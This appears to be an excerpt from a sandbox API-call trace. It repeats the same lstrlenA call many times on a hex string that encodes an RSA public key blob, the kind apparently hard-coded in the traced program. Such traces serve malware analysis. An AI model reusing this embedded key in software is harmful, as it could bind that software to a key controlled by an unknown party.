	[0061.631] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.631] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.631] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.631] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.631] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.631] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.631] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.632] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.633] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
